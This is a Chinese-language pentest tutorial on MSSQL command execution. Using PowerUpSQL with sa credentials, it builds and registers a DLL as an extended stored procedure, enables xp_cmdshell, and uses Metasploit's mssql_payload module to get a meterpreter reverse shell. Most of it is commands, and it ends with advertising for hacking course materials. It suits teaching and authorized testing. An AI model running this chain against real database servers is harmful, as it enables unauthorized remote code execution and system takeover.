使用 PowerupSQL 利用扩展存储过程
创建要添加到 SQL 数据库的 DLL
Import-Module .\Powerupsql.ps1
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc
在 Powerupsql 的帮助下,我们在本地机器(Windows 10)中创建了一个 dll 文件。
系统注册dll
为了实现扩展存储过程,登录数据库的登录名必须是 sysadmin 。
通常,将创建一个名称以 xp_ 或 sp_ 开头的扩展存储过程,以便数据库引擎在用户数据库中不存在具有该名称的对象时自动在 master
数据库中查找该对象。
Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "sp_addextendedproc 'xp_calc', '\\192.168.1.145\fileshare\xp_calc.dll'"
列出现有的扩展存储过程
Get-SQLStoredProcedureXP -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose
下图显示了存储进程退出的 Databasename “master”。除此之外,它还列出了Type_desc, name, text.
扩展存储过程虽然是在 master 数据库中创建,但可以从任何数据库中引用。
执行存储过程
Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "select @@version" -Verbose
启用 XP_CMD shell
默认情况下,XPCmdShell 被禁用,如图所示。
使用特权帐户,攻击者会创建一个新的存储过程,并将尝试在以下命令的帮助下启用 xpcmdshell。
Get-SQLQuery -UserName sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')" -Verbose
XP_CMD Shell 远程代码执行
一旦启用了 xpcmdshell,我们就可以使用 Metasploit 执行以下模块以获得反向 shell。
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set password Password@1
exploit
漏洞利用并不仅仅停留在启用 XP 命令外壳上。然后运行一系列命令,帮助我们在目标机器上获得一个meterpreter shell,如下图所示
从[这里](https://www.hackingarticles.in/mssql-for-pentester-command-execution-
with-xp_cmdshell/)阅读有关 XPCmdshell 的更多信息。
.in/mssql-for-pentester-command-execution-
with-xp_cmdshell/)阅读有关 XPCmdshell 的更多信息。
如果你对网络安全入门感兴趣,那么你点击这里👉优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)
👉网安(嘿客)全套学习视频👈
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
👉网安(嘿客红蓝对抗)所有方向的学习路线****👈
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
学习资料工具包
压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。
面试题资料
独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
👉嘿客必备开发工具👈
工欲善其事必先利其器。学习嘿客常用的开发软件都在这里了,给大家节省了很多时间。